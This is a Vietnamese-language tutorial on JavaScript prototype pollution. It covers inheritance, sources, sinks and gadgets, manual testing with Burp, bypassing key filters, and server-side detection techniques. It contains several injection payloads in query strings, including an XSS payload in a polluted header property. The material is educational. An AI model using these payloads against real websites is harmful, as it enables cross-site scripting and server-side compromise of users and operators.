πŸ”Prototype pollution

property: thuα»™c tΓ­nh, object: Δ‘α»‘i tượng

Prototype pollution là gì ?

Prototype pollution lΓ  lα»— hα»•ng mΓ  kαΊ» tαΊ₯n cΓ΄ng cΓ³ thể thΓͺm bαΊ₯t kα»³ thuα»™c tΓ­nh nΓ o vΓ o cΓ‘c global object prototype.

MαΊ·c dΓΉ lα»— hα»•ng nΓ y thường khΓ΄ng thể khai thΓ‘c nhΖ° mα»—i lα»— hα»•ng Δ‘α»™c lαΊ­p, nΓ³ để cho kαΊ» tαΊ₯n cΓ΄ng. NαΊΏu α»©ng dα»₯ng sau Δ‘Γ³ xα»­ lΓ½ mα»™t property(mα»™t thuα»™c tΓ­nh) cα»§a kαΊ» tαΊ₯n cΓ΄ng kiểm soΓ‘t theo mα»™t cΓ‘ch khΓ΄ng an toΓ n, Δ‘iều nΓ y cΓ³ khαΊ£ nΔƒng chain tα»›i lα»— hα»•ng khΓ‘c.

Trong lỗ hổng client Javascript, nó mang dẫn đến lỗ hổng DOM XSS, trong khi prototype pollution phía server side thì dẫn tới RCE(удавлСнноС выполнСниС код).

Javascript prototypes and inheritance

Ở phần này chúng ta sẽ xem xét prototypes và tính kế thừa của Javascript.

Object trong Javascript

NhΖ° cΓ‘c ngΓ΄n ngα»― cΓ‘ch chΓΊng ta được học thΓ¬ cΓ³ mΓ΄n học OOP (LαΊ­p trΓ¬nh hΖ°α»›ng Δ‘α»‘i tượng). Thường sαΊ½ cΓ³ hai thα»© bαΊ‘n thường được tiαΊΏp cαΊ­n nhiều nhαΊ₯t Δ‘Γ³ lΓ  class vΓ  object . CΓ³ thể hiểu Δ‘Ζ‘n giαΊ£n rαΊ±ng class chΓ­nh lΓ  mα»™t cΓ‘i khung dα»±ng sαΊ΅n lΓͺn cΓ‘c yαΊΏu tα»‘ cαΊ§n thiαΊΏt cho mα»™t object , con object sαΊ½ kαΊΏ thα»«a lαΊ‘i tαΊ₯t cαΊ£ cΓ‘c property vΓ  method

Mα»™t object cα»§a javascript cΖ‘ bαΊ£n lΓ  mα»™t tαΊ­p hợp cα»§a key:value được biαΊΏn Δ‘Γͺn lΓ  properties .

VΓ­ dα»₯ Δ‘Γ’y lΓ  mα»™t Δ‘oαΊ‘n object:

Khi Δ‘Γ³ để truy cαΊ­p được giΓ‘ trα»‹ thuα»™c tΓ­nh trong object nΓ y, chΓΊng ta sαΊ½ cΓ³ hai cΓ‘ch thường dΓΉng nhΖ° sau: user.roldAdmin , user['roleAdmin']

CΕ©ng nhΖ° data thΓ¬ properties cΕ©ng cΓ³ thể chα»©a executable function hay cΓ²n gọi lΓ  hΓ m thα»±c thi. Khi Δ‘Γ³ nΓ³ được gọi lΓ  method

Prototypes trong Javascript là gì?

Mọi object trong javascript được liΓͺn kαΊΏt vα»›i cΓ‘c object khΓ‘c được biαΊΏn Δ‘αΊΏn lΓ  prototype. Theo mαΊ·c Δ‘α»‹nh Javascript sαΊ½ tα»± Δ‘α»™ng gαΊ―n object mα»›i cho mα»™t trong cΓ‘c built-in prototypes(cΓ‘c nguyΓͺn mαΊ«u được tΓ­ch hợp sαΊ΅n) cα»§a nΓ³.

HΓ£y xem vΓ­ dα»₯:

Object tα»± Δ‘α»™ng kαΊΏt thα»«a tαΊ₯t cαΊ£ nhα»―ng thuα»™c tΓ­nh cα»§a cΓ‘c prototypes được gΓ‘n, trα»« khi chΓΊng Δ‘Γ£ cΓ³ thuα»™c tΓ­nh(properties) riΓͺng vα»›i cΓΉng mα»™t khΓ³a. Điều nΓ y cho phΓ©p cΓ‘c nhΓ  phΓ‘t triển tαΊ‘o cΓ‘c Δ‘α»‘i tượng mα»›i cΓ³ thể sα»­ dα»₯ng lαΊ‘i cΓ‘c thuα»™c tΓ­nh vΓ  phΖ°Ζ‘ng thα»©c cα»§a cΓ‘c Δ‘α»‘i tượng hiện cΓ³.

CΓ‘ch Object enheritance hoαΊ‘t Δ‘α»™ng?

BαΊ₯t cα»© khi nΓ o chΓΊng ta tham khαΊ£o thuα»™c tΓ­nh cα»§a mα»™t object thΓ¬ javascript enginer sαΊ½ Δ‘Ζ°a cho chΓΊng ta cΓ‘c thuα»™c tΓ­nh mΓ  chΖ°a được Δ‘α»‹nh nghΔ©a ở trong object Δ‘Γ³.

NαΊΏu khΓ³ hiểu chΓΊng ta hΓ£y xem xΓ©t vΓ­ dα»₯ nhΖ° sau:

ChΓΊng ta thαΊ₯y rαΊ±ng ở Object admin chΓΊng ta khai bΓ‘o khΓ΄ng hề cΓ³ thuα»™c tΓ­nh nΓ o nhΖ°ng khi kiểm tra thΓ¬ nΓ³ cΓ³ rαΊ₯t nhiều thuα»™c tΓ­nh vΓ  method trong Δ‘Γ³ vΓ  nhα»―ng thuα»™c tΓ­nh trΓͺn đều được kαΊΏ thα»« tα»« Object.prototype

Prototype chain

Prototype chain lΓ  mα»™t tΓ­nh nΔƒng quan trọng trong JavaScript cho phΓ©p cΓ‘c Δ‘α»‘i tượng kαΊΏ thα»«a cΓ‘c tΓ­nh nΔƒng tα»« cΓ‘c Δ‘α»‘i tượng khΓ‘c. Mα»—i Δ‘α»‘i tượng trong JavaScript đều cΓ³ mα»™t thuα»™c tΓ­nh prototype, cho biαΊΏt Δ‘α»‘i tượng kαΊΏ thα»«a cΓ‘c tΓ­nh nΔƒng tα»« Δ‘α»‘i tượng nΓ o.

Điều quan trọng lΓ  cΓ‘c object kαΊΏ thα»«a cΓ‘c properties khΓ΄ng chỉ tα»« prototype trα»±c tiαΊΏp cα»§a chΓΊng mΓ  cΓ²n tα»« tαΊ₯t cαΊ£ cΓ‘c object phΓ­a trΓͺn chΓΊng trong prototype chain. Trong vΓ­ dα»₯ trΓͺn, Δ‘iều nΓ y cΓ³ nghΔ©a lΓ  object username cΓ³ quyền truy cαΊ­p vΓ o cΓ‘c properties vΓ  method cα»§a cαΊ£ String.prototype vΓ  Object.prototype. CΓ‘c object khΓ‘c cΕ©ng tΖ°Ζ‘ng tα»± nhΖ° vαΊ­y.

Truy cαΊ­p prototype cα»§a object bαΊ±ng __proto__

ThαΊ­t ra cΓ³ thể truy cαΊ­p prototype cα»§a object bαΊ±ng hai cΓ‘ch, ngoΓ i dΓΉng __proto__ thΓ¬ cΓ³ thể dΓΉng function constructor()

Ở phαΊ§n nΓ y chΓΊng ta sαΊ½ nΓ³i tα»›i __proto__ . ThΓ¬ mọi object cΓ³ mα»™t property Δ‘αΊ·c biệt mΓ  bαΊ‘n cΓ³ thể sα»­ dα»₯ng để truy cαΊ­p prototype chΓ­nh nΓ³.

Dα»… hiểu hΖ‘n thΓ¬: __proto__ cho phΓ©p mα»™t object truy cαΊ­p thαΊ³ng vΓ o property prototype cα»§a cha nΓ³.

Vα»›i bαΊ₯t kα»³ thuα»™c tΓ­nh nΓ o bαΊ‘n chỉ cαΊ§n truy cαΊ­p tα»›i __proto__ bαΊ±ng cΓ‘ch sα»­ dα»₯ng dot nonation hoαΊ·c bracket

Modifying prototypes

Sα»­a Δ‘α»•i prototype, mαΊ·c dΓΉ nΓ³ thường được coi lΓ  mα»™t cΓ‘ch lΓ m khΓ΄ng tα»‘t, nhΖ°ng vαΊ«n cΓ³ thể sα»­a Δ‘α»•i cΓ‘c built-in prototype cα»§a JavaScript giα»‘ng nhΖ° bαΊ₯t kα»³ object nΓ o khΓ‘c. Điều nΓ y cΓ³ nghΔ©a lΓ  cΓ‘c nhΓ  phΓ‘t triển cΓ³ thể tΓΉy chỉnh hoαΊ·c ghi Δ‘Γ¨ hΓ nh vi cα»§a cΓ‘c built-in methods vΓ  thαΊ­m chΓ­ thΓͺm cΓ‘c mothods mα»›i để thα»±c hiện cΓ‘c thao tΓ‘c hα»―u Γ­ch.

VΓ­ dα»₯: JavaScript hiện Δ‘αΊ‘i cung cαΊ₯p phΖ°Ζ‘ng thα»©c trim() cho cΓ‘c chuα»—i, cho phΓ©p bαΊ‘n dα»… dΓ ng xΓ³a mọi khoαΊ£ng trαΊ―ng ở Δ‘αΊ§u hoαΊ·c cuα»‘i. TrΖ°α»›c khi built-in methods nΓ y được giα»›i thiệu, Δ‘Γ΄i khi cΓ‘c nhΓ  phΓ‘t triển Δ‘Γ£ thΓͺm triển khai tΓΉy chỉnh cα»§a riΓͺng họ Δ‘α»‘i vα»›i hΓ nh vi nΓ y vΓ o object String.prototype bαΊ±ng cΓ‘ch thα»±c hiện nhΖ° sau:

CΓ‘ch cΓ‘c lα»— hα»•ng prototype pollution xαΊ£y ra

CΓ‘c lα»— hα»•ng gΓ’y prototype pollution thường phΓ‘t sinh khi mα»™t hΓ m JavaScript chα»©a cΓ‘c properties do người dΓΉng kiểm soΓ‘t vΓ o mα»™t object hiện cΓ³ mΓ  khΓ΄ng cαΊ§n lọc trΖ°α»›c Δ‘αΊ§u vΓ o. Điều nΓ y cΓ³ thể cho phΓ©p kαΊ» tαΊ₯n cΓ΄ng Δ‘Ζ°a vΓ o mα»™t property bαΊ±ng cΓ‘ch dΓΉng nhΖ° __proto__, constructor().

Khai thΓ‘c thΓ nh cΓ΄ng prototype pollution yΓͺu cαΊ§u cΓ‘c thΓ nh phαΊ§n chΓ­nh sau:

  • A prototype pollution source - ĐÒy lΓ  bαΊ₯t kα»³ Δ‘αΊ§u vΓ o nΓ o cho phΓ©p bαΊ‘n Δ‘αΊ§u Δ‘α»™c cΓ‘c Δ‘α»‘i tượng nguyΓͺn mαΊ«u bαΊ±ng cΓ‘c thuα»™c tΓ­nh tΓΉy Γ½.

  • A SINK - NΓ³i cΓ‘ch khΓ‘c, mα»™t function JavaScript hoαΊ·c DOM element cho rce.

  • An exploitable gadget - ĐÒy lΓ  bαΊ₯t kα»³ properties nΓ o được Δ‘Ζ°a vΓ o sink mΓ  khΓ΄ng được lọc.

Prototype pollution sources

Prototype pollution source lΓ  bαΊ₯t kα»³ Δ‘αΊ§u vΓ o nΓ o người dΓΉng cΓ³ thể kiểm soΓ‘t mΓ  bαΊ‘n cΓ³ thể thΓͺm bαΊ₯t kα»³ properties nΓ o tα»›i prototype object.

Prototype pollution via the URL

Xem xΓ©t Δ‘oαΊ‘n URL sau, nΓ³ chα»©a chuα»—i truy vαΊ₯n mΓ  kαΊ» tαΊ₯n cΓ΄ng tαΊ‘o ra.

Khi chΓΊng ta phΓ’n tΓ‘ch Δ‘oαΊ‘n payload trΓͺn dΖ°α»›i dαΊ‘ng key vΓ  value thΓ¬ chΓΊng ta sαΊ½ cΓ³ Δ‘oαΊ‘n sau:

Tuy nhiΓͺn trong mα»™t sα»‘ trường hợp phαΊ£i back tα»« object được target tα»›i Object.prototype.

Prototype pollution via JSON input

CΓ‘c object do người dΓΉng kiểm soΓ‘t thường được lαΊ₯y tα»« mα»™t chuα»—i JSON bαΊ±ng method JSON.parse().

JSON.parse() cΕ©ng coi bαΊ₯t kα»³ key nΓ o trong Object JSON lΓ  mα»™t string, bao gα»“m nhα»―ng thα»© nhΖ° __proto__. Điều nΓ y cung cαΊ₯p mα»™t vectΖ‘ tiềm nΔƒng khΓ‘c cho prototype pollution.

VΓ­ dα»₯: giαΊ£ sα»­ kαΊ» tαΊ₯n cΓ΄ng tiΓͺm JSON Δ‘α»™c hαΊ‘i sau qua mα»™t thΓ΄ng bΓ‘o trΓͺn web:

NαΊΏu Δ‘iều nΓ y được chuyển Δ‘α»•i thΓ nh mα»™t object JavaScript thΓ΄ng qua method JSON.parse(), thΓ¬ trΓͺn thα»±c tαΊΏ, object kαΊΏt quαΊ£ sαΊ½ cΓ³ property vα»›i key __proto__, khi Δ‘Γ³ __proto__ lΓ  thuα»™c tΓ­nh riΓͺng cα»§a objectFromJson :

ChΓΊng ta cΓ³ thể hiểu rΓ΅ hΖ‘n bαΊ±ng hΓ¬nh αΊ£nh dΖ°α»›i Δ‘Γ’y: Khi objectLiteral được tαΊ‘o nhΖ° dΖ°α»›i thΓ¬ khi Δ‘Γ³ property evilProperty được gΓ‘n vΓ o Object.property.

CΓ²n dΓΉng JSON.parse() để chuyển mα»™t string -> object khi Δ‘Γ³ cΓ³ mα»™t property lΓ  __proto__ vΓ  nΓ³ lΓ  mα»™t object cΓ³ property lΓ  evilProperty vα»›i value lΓ  payload.

Prototype pollution sinks

Prototype pollution sinks về cΖ‘ bαΊ£n chỉ lΓ  mα»™t function JavaScript hoαΊ·c DOM Element mΓ  bαΊ‘n cΓ³ thể truy cαΊ­p thΓ΄ng qua prototype pollution, cho phΓ©p bαΊ‘n thα»±c thi cΓ‘c system commands hoαΊ·c JavaScript tΓΉy Γ½.

VΓ¬ prototype pollution cho phΓ©p bαΊ‘n kiểm soΓ‘t cΓ‘c properties mΓ  nαΊΏu khΓ΄ng thΓ¬ khΓ΄ng thể truy cαΊ­p được, Δ‘iều nΓ y cΓ³ khαΊ£ nΔƒng cho phΓ©p bαΊ‘n tiαΊΏp cαΊ­n mα»™t sα»‘ phαΊ§n bα»• sung trong α»©ng dα»₯ng. CΓ‘c nhΓ  phΓ‘t triển khΓ΄ng quen vα»›i tΓ¬nh trαΊ‘ng prototype pollution cΓ³ thể cho rαΊ±ng người dΓΉng khΓ΄ng thể kiểm soΓ‘t cΓ‘c propert, Δ‘iều Δ‘Γ³ cΓ³ nghΔ©a lΓ  cΓ³ thể chỉ cΓ³ khαΊ£ nΔƒng lọc ở mα»©c tα»‘i thiểu.

Prototype pollution gadgets

Mα»™t gadget cung cαΊ₯p mα»™t phΖ°Ζ‘ng tiện để biαΊΏn lα»— hα»•ng prototype pollution thΓ nh mα»™t khai thΓ‘c thα»±c tαΊΏ.

  • Ứng dα»₯ng xα»­ lΓ½ khΓ΄ng an toΓ n, nhΖ° lΓ  cΓ³ thể pass qua sink mΓ  khΓ΄ng được filter Δ‘i.

  • KαΊ» tαΊ₯n cΓ΄ng cΓ³ thể kiểm soΓ‘t thΓ΄ng qua prototype pollution. NΓ³i cΓ‘ch khΓ‘c, Object phαΊ£i cΓ³ khαΊ£ nΔƒng inherit property do kαΊ» tαΊ₯n cΓ΄ng thΓͺm vΓ o propotype.

Example of a prototype pollution gadget

Nhiều thΖ° viện JavaScript chαΊ₯p nhαΊ­n mα»™t object mΓ  nhΓ  phΓ‘t triển cΓ³ thể sα»­ dα»₯ng để Δ‘αΊ·t cΓ‘c tΓΉy chọn cαΊ₯u hΓ¬nh khΓ‘c nhau. NαΊΏu khΓ΄ng cΓ³ property Δ‘αΊ‘i diện cho mα»™t tΓΉy chọn cα»₯ thể, thΓ¬ mα»™t tΓΉy chọn mαΊ·c Δ‘α»‹nh được xΓ‘c Δ‘α»‹nh trΖ°α»›c thường được sα»­ dα»₯ng để thay thαΊΏ. Mα»™t vΓ­ dα»₯ Δ‘Ζ‘n giαΊ£n hΓ³a cΓ³ thể trΓ΄ng giα»‘ng nhΖ° thαΊΏ nΓ y:

BΓ’y giờ hΓ£y xem code thΖ° viện sα»­ dα»₯ng transport_url nΓ y để thΓͺm script reference vΓ o trang:

NαΊΏu nhΓ  phΓ‘t triển website khΓ΄ng set transport_url property ở config object cα»§a họ, thΓ¬ Δ‘Γ’y lΓ  mα»™t gadget chΓΊng ta cΓ³ thể khai khΓ‘c. Trong trường hợp kαΊ» tαΊ₯n cΓ΄ng cΓ³ thể injection Object.prototype globbal bαΊ±ng property transport_url cα»§a riΓͺng chΓΊng, property nΓ y sαΊ½ được config object inherit vΓ  do Δ‘Γ³, được Δ‘αΊ·t lΓ m src cho tαΊ­p lệnh nΓ y thΓ nh miền do kαΊ» tαΊ₯n cΓ΄ng chọn.

VΓ­ dα»₯: nαΊΏu propotype cΓ³ thể polluted thΓ΄ng qua mα»™t query parameter, thΓ¬ kαΊ» tαΊ₯n cΓ΄ng chỉ cαΊ§n dα»₯ nαΊ‘n nhΓ’n truy cαΊ­p mα»™t URL được tαΊ‘o Δ‘αΊ·c biệt để khiαΊΏn trΓ¬nh duyệt cα»§a họ nhαΊ­p tệp JavaScript Δ‘α»™c hαΊ‘i tα»« domain do kαΊ» tαΊ₯n cΓ΄ng kiểm soΓ‘t:

BαΊ±ng cΓ‘ch cung cαΊ₯p data: URL, kαΊ» tαΊ₯n cΓ΄ng cΕ©ng cΓ³ thể inject payload XSS vΓ o trong query parameter nhΖ° sau:

Client-side prototype pollution vulnerabilities

---- Exploiting prototype pollution for DOM XSS

Finding client-side prototype pollution sources manually

TΓ¬mclient-side prototype pollution sources theo cΓ‘ch thα»§ cΓ΄ng phαΊ§n lα»›n lΓ  mα»™t trường hợp thα»­ vΓ  lα»—i. NΓ³i tΓ³m lαΊ‘i, bαΊ‘n cαΊ§n thα»­ nhiều cΓ‘ch khΓ‘c nhau để thΓͺm mα»™t property tΓΉy Γ½ vΓ o Object.prototype cho Δ‘αΊΏn khi tΓ¬m được source phΓΉ hợp.

When testing for client-side vulnerabilities, this involves the following high-level steps:

  1. Try to inject an arbitrary property via the query string, URL fragment, and any JSON input. For example:

    vulnerable-website.com/?__proto__[foo]=bar

Khi test cho lα»— hα»•ng phΓ­a client, thα»±c hiện cΓ‘c bΖ°α»›c sau:

  1. Cα»‘ gαΊ―ng inject bαΊ₯t kα»³ thuα»™c tΓ­nh nΓ o qua chuα»—i truy vαΊ₯n, url vΓ  bαΊ₯t kα»³ Δ‘αΊ§u vΓ o JSON nΓ o. VΓ­ dα»₯ sau: vulnerable-website.com/?proto[foo]=bar

  2. VΓ o console cα»§a trΓ¬nh duyệt, hΓ£y xem Object.prototype Δ‘Γ£ được inject thΓ nh cΓ΄ng hay chΖ°a.

  1. NαΊΏu khΓ΄ng thΓ nh cΓ΄ng thΓ¬ cΓ³ thể dΓΉng cΓ‘c kα»Ή thuαΊ­t khΓ‘c để add được property vΓ o nhΖ° dot notation tα»« bracket notation: vulnerable-website.com/?proto.foo=bar

Finding sources using DOM Invader

Về phαΊ§n nΓ y bαΊ‘n cΓ³ thể sα»­ dα»₯ng extension cα»§a Burp suite, đọc ở Δ‘Γ’y.

Finding gadgets manually

Khi bαΊ‘n Δ‘Γ£ xΓ‘c Δ‘α»‹nh được source cho phΓ©p bαΊ‘n thΓͺm cΓ‘c property tΓΉy Γ½ vΓ o Object.prototype global, bΖ°α»›c tiαΊΏp theo lΓ  tΓ¬m mα»™t gadget phΓΉ hợp mΓ  bαΊ‘n cΓ³ thể sα»­ dα»₯ng để tαΊ‘o ra mα»™t khai thΓ‘c. TrΓͺn thα»±c tαΊΏ, chΓΊng ta nΓͺn sα»­ dα»₯ng DOM Invader để thα»±c hiện việc nΓ y nhΖ°ng sαΊ½ hα»―u Γ­ch nαΊΏu xem xΓ©t quy trΓ¬nh thα»§ cΓ΄ng vΓ¬ nΓ³ cΓ³ thể giΓΊp cα»§ng cα»‘ hiểu biαΊΏt về lα»— hα»•ng bαΊ£o mαΊ­t.

  1. Xem qua source code vΓ  xΓ‘c Δ‘α»‹nh bαΊ₯t kα»³ property nΓ o được α»©ng dα»₯ng sα»­ dα»₯ng hoαΊ·c bαΊ₯t kα»³ thΖ° viện nΓ o mΓ  α»©ng dα»₯ng import vΓ o.

  2. Trong Burp, bαΊ­t interception (Proxy > Options > Intercept server responses) vΓ  chαΊ·n response cΓ³ chα»©a JavaScript mΓ  bαΊ‘n muα»‘n kiểm tra.

  3. ThΓͺm mα»™t cΓ’u lệnh debugger ở Δ‘αΊ§u script, sau Δ‘Γ³ forward mọi request vΓ  response cΓ²n lαΊ‘i.

  4. Trong trΓ¬nh duyệt cα»§a burp, Δ‘i tα»›i trang mΓ  target script được load. CΓ’u lệnh debugger dα»«ng thα»±c thi script.

  5. Trong khi script vαΊ«n pause,chuyển sang console vΓ  nhαΊ­p Δ‘oαΊ‘n code dΖ°α»›i Δ‘Γ’y, thay thαΊΏ YOUR-PROPERTY vα»›i mα»™t trong cΓ‘c property mΓ  bαΊ‘n nghΔ© sαΊ½ lΓ  mα»™t gadget cΓ³ tiềm nΔƒng để inject:

Property được add vΓ o global Object.prototype vΓ  trΓ¬nh duyệt sαΊ½ log mα»™t stack trace tα»›i console bαΊ₯t cα»© khi nΓ o nΓ³ được truy cαΊ­p

  1. NhαΊ₯n vΓ o nΓΊt để tiαΊΏp tα»₯c thα»±c thi lệnh vΓ  theo dΓ΅i console. NαΊΏu stack trace xuαΊ₯t hiện, Δ‘iều nΓ y xΓ‘c nhαΊ­n rαΊ±ng property Δ‘Γ£ được truy cαΊ­p ở nΖ‘i nΓ o Δ‘Γ³ trong α»©ng dα»₯ng

  2. Mở rα»™ng stack trace vΓ  dΓΉng link được cung cαΊ₯p chuyển Δ‘αΊΏn dΓ²ng code mΓ  property Δ‘ang được đọc

  3. Sα»­ dα»₯ng cΓ‘c debugger controls cα»§a trΓ¬nh duyệt, duyệt qua tα»«ng giai Δ‘oαΊ‘n thα»±c thi để xem liệu property cΓ³ được chuyển Δ‘αΊΏn sink hay khΓ΄ng, chαΊ³ng hαΊ‘n nhΖ° innerHTML() hoαΊ·c eval().

  4. LαΊ·p lαΊ‘i quy trΓ¬nh nΓ y cho bαΊ₯t kα»³ property nΓ o mΓ  bαΊ‘n cho lΓ  gadget tiềm nΔƒng.

Finding gadgets using DOM Invader

Đọc ở Δ‘Γ’y.

Prototype pollution via the constructor

NgoΓ i __proto__ thΓ¬ chΓΊng ta cΓ³ thể truy cαΊ­p prototype object thΓ΄ng qua thuα»™c tΓ­nh cΓ³ sαΊ΅n Δ‘Γ³ lΓ  constructor

Constructor lΓ  mα»™t thuα»™c tΓ­nh Δ‘αΊ·c biệt trαΊ£ về hΓ m Δ‘Γ£ được dΓΉng để tαΊ‘o ra Δ‘α»‘i tượng Δ‘Γ³. Prototype object cΓ³ constructor chỉ Δ‘αΊΏn hΓ m Δ‘Γ³ vΓ  constructor cα»§a constructor sαΊ½ lΓ  hΓ m constructor toΓ n cα»₯c (global).

Trong JavaScript, mα»—i object được tαΊ‘o ra tα»« mα»™t constructor function, cΓ³ trΓ‘ch nhiệm thiαΊΏt lαΊ­p cΓ‘c thuα»™c tΓ­nh vΓ  hΓ nh vi ban Δ‘αΊ§u cα»§a object.

Khi bαΊ‘n tαΊ‘o mα»™t object bαΊ±ng cΓΊ phΓ‘p object literal, vΓ­ dα»₯ nhΖ° const person = {}, JavaScript sαΊ½ tαΊ‘o ra object vΓ  Δ‘αΊ·t thuα»™c tΓ­nh [[Prototype]] cα»§a nΓ³ thΓ nh object Object.prototype mαΊ·c Δ‘α»‹nh. Object.prototype lΓ  constructor function cho tαΊ₯t cαΊ£ cΓ‘c object trong JavaScript.

BαΊ‘n cΓ³ thể truy cαΊ­p constructor function cα»§a mα»™t object bαΊ±ng cΓ‘ch sα»­ dα»₯ng thuα»™c tΓ­nh constructor. VΓ­ dα»₯, person.constructor trαΊ£ về constructor function mΓ  Δ‘Γ£ được sα»­ dα»₯ng để tαΊ‘o ra object person. Trong trường hợp nΓ y, nΓ³ trαΊ£ về constructor function Object().

TΖ°Ζ‘ng tα»±, bαΊ‘n cΓ³ thể truy cαΊ­p constructor function cα»§a mα»™t constructor function bαΊ±ng cΓ‘ch gọi thuα»™c tΓ­nh constructor cα»§a nΓ³. VΓ­ dα»₯, person.constructor.constructor trαΊ£ về constructor function Function(), vΓ¬ Object() lΓ  mα»™t constructor function tΓ­ch hợp vΓ  được tαΊ‘o ra bαΊ±ng cΓ‘ch sα»­ dα»₯ng constructor function Function().

VΓ  ngoΓ i ra persion.constructor.prototype sαΊ½ nhΖ° person.__proto__

Bypassing flawed key sanitization

Mα»™t cΓ‘ch rΓ΅ rΓ ng để mα»™t website ngΔƒn chαΊ·n lα»— hα»•ng prototype pollution lΓ  lọc property key được khi cho nΓ³ vΓ o mα»™t object. Tuy nhiΓͺn mα»™t lα»— chung lΓ  khΓ΄ng lαΊ·p lαΊ‘i quΓ‘ trΓ¬nh lọc mα»™t lαΊ§n nα»―a.

VΓ­ dα»₯ trong mα»™t trang web sαΊ½ filter Δ‘i __proto__ ở Δ‘αΊ§u vΓ o nαΊΏu cΓ³ nΓ³ xuαΊ₯t hiện thΓ¬ ở Δ‘Γ’y dev chỉ lọc duy nhαΊ₯t mα»™t lαΊ§n mΓ  khΓ΄ng kiểm tra lαΊ‘i.

Khi Δ‘Γ³ nΓ³ sαΊ½ trở thΓ nh ?proto.gadget=payload vΓ  vαΊ«n exploit bΓ¬nh thường.

Prototype pollution in external libraries

Prototype pollution via browser APIs

PPlution qua method fetch()

Fetch API cΕ©ng cαΊ₯p cho cΓ‘c nhΓ  phΓ‘t triển để trigger HTTP Request sα»­ dα»₯ng JS. Fetch() gα»“m 2 tham sα»‘:

  • URL mΓ  muα»‘n gα»­i request tα»›i

  • Mα»™t object tα»± chọn mΓ  nΓ³ lΓ  mα»™t phαΊ§n cα»§a request nhΖ° lΓ  method, header, body, parameter ...

ChΓΊng ta sαΊ½ xem xΓ©t Δ‘oαΊ‘n code JS sau:

Để exploit Δ‘oαΊ‘n code nΓ y thΓ¬ kαΊ» tαΊ₯n cΓ΄ng cαΊ§n polluted được Object.prototype vα»›i mα»™t property headers chα»©a mα»™t header Δ‘α»™c hαΊ‘i x-username

?proto[headers][x-username]=<img/src/onerror=alert(1)>

Cuα»‘i cΓΉng giΓ‘ trα»‹ cα»§a property x-username sαΊ½ được trαΊ£ về file JSON sau Δ‘Γ³ nΓ³ sαΊ½ được gΓ‘n cho username vΓ  Δ‘i tα»›i innerHTML

PPution qua property được xΓ‘c Δ‘α»‹nh cα»§a Object

CΓ‘c nhΓ  phΓ‘t triển hiện tαΊ‘i Δ‘Γ£ block cΓ‘c gadgets tiềm nΔƒng để exploit. Xem vΓ­ dα»₯ nhΖ° nΓ y:

Đọc ở Δ‘Γ’y

CΓ³ thể dΓΉng key value mαΊ·c Δ‘α»‹nh để inject thay cho transport_url

Server-side prototype pollution

Detecting server-side prototype pollution via polluted property reflection

ChΓΊng ta sαΊ½ xem xΓ©t vΓ­ dα»₯ sau:

Xem vΓ­ dα»₯ trΓͺn chΓΊng ta thαΊ₯y rαΊ±ng cΓ³ mα»™t Object lΓ  Person cΓ³ 2 proprerties keys lΓ  name vΓ  age. NhΖ°ng sau Δ‘Γ³ thΓͺm mα»™t property admin vΓ o Object.prototype, tiαΊΏn theo Δ‘Γ³ kiểm tra xem admin cΓ³ phαΊ£i property thuα»™c Object Person khΓ΄ng thΓ¬ nhαΊ­n về false . Điều Δ‘ang nΓ³i ở Δ‘Γ’y khi chΓΊng ta dΓΉng vΓ²ng lαΊ·p for để in ra key thΓ¬ nΓ³ cΓ³ property admin. CΓ³ nghΔ©a lΓ  Object Person Δ‘Γ£ kαΊΏ thα»«a property admin tα»« Object.prototype.

Vậy lúc này đang false thì inject thành true qua __proto__

Detecting server-side prototype pollution without polluted property reflection

Thường thΓ¬ lα»— hα»•ng prototype pollution nΓ³ sαΊ½ khΓ΄ng reflect ra ngoΓ i nhΖ°ng khΓ΄ng cΓ³ nghΔ©a chΓΊng ta khΓ΄ng cΓ³ cΔƒn cΔƒn gΓ¬ để khai thΓ‘c nΓ³.

ChΓΊng ta sαΊ½ xem xΓ©t 3 kα»Ή thuαΊ­t sau:

  • Status code override

  • JSON spaces override

  • Charset override

Status code override

Server-side Javascript frameworks nhΖ° lΓ  Express cho phΓ©p cΓ‘c dev tαΊ‘o HTTP response status. Trong trường hợp lα»—i thΓ¬ phΓ­a server cΓ³ thể Δ‘Ζ°a ra mα»™t HTTP response chung, nhΖ°ng nΓ³ bao gα»“m mα»™t object lα»—i vα»›i Δ‘α»‹nh dαΊ‘ng JSON ở body, nΓ³ cung cαΊ₯p chi tiαΊΏt lα»—i xαΊ£y xa.

  • Ở Δ‘Γ’y khi nhαΊ―c tα»›i lα»—i thΓ¬ cΓ³ nΓ³ nghΔ©a lΓ  bαΊ‘n nhαΊ­p sai thα»© gΓ¬ Δ‘Γ³ khΓ΄ng cho phΓ©p hoαΊ·c khΓ΄ng được phΓ©p truy cαΊ­p mα»™t path nΓ o Δ‘Γ³ cα»§a trang web ...

VΓ­ dα»₯ mα»™t trang web vαΊ«n trαΊ£ về status 200 nhΖ°ng Δ‘i kΓ¨m mα»™t object JSON bΓ‘o lα»—i kΓ¨m status ở trong JSON lΓ  400

Điều nΓ y được sinh ra vΓ¬ trong NodeJS cΓ³ mα»™t module tΓͺn lΓ  http-errors cΓ³ chα»©a Δ‘oαΊ‘n code sau:

NhΓ¬n sΖ‘ qua Δ‘oαΊ‘n code thΓ¬ chΓΊng ta cΓ³ thể thαΊ₯y status nαΊΏu khΓ΄ng được lọc kα»Ή cΓ ng thi chΓΊng ta cΓ³ thể polluted status

JSON spaces override

Express Framework cung cΓ’p mα»™t option lΓ  json space , nΓ³ cho phΓ©p sα»‘ lượng space để thα»₯t lΓ¨ bαΊ₯t cα»© mα»™t JSON data nΓ o cΓ³ trong response. HΓ£y thα»­ inject xem nΓ³ cΓ³ bα»‹ αΊ£nh hưởng hay khΓ΄ng?

Charset override

Express server sαΊ½ để middleware xα»­ lΓ½ cΓ‘c request trΖ°α»›c khi nΓ³ được server xα»­ lΓ½. Cho mα»™t vΓ­ dα»₯ mα»™t module body-parse thường được sα»­ dα»₯ng để parse phαΊ§n body trong request gα»­i tα»›i để generate mα»™t req.body object.

LΖ°u Γ½ rαΊ±ng sau Δ‘Γ³ Δ‘oαΊ‘n mΓ£ dΖ°α»›i Δ‘Γ’y sαΊ½ pases mα»™t object bαΊ₯t kα»³ tα»›i hΓ m read() , cΓ‘i mΓ  đọc phαΊ§n body cα»§a request để parse. Mα»™t trong nhΖ°ng tΓΉy chọn lΓ  encoding , xΓ‘c Δ‘α»‹nh nhα»―ng kΓ½ tα»± encode để dΓΉng. Điều nΓ y được bαΊ―t nguα»“n tα»« request Δ‘Γ³ thΓ΄ng qua hΓ m được gọi lΓ  getCharset(req) hoαΊ·c default lΓ  UTF-8

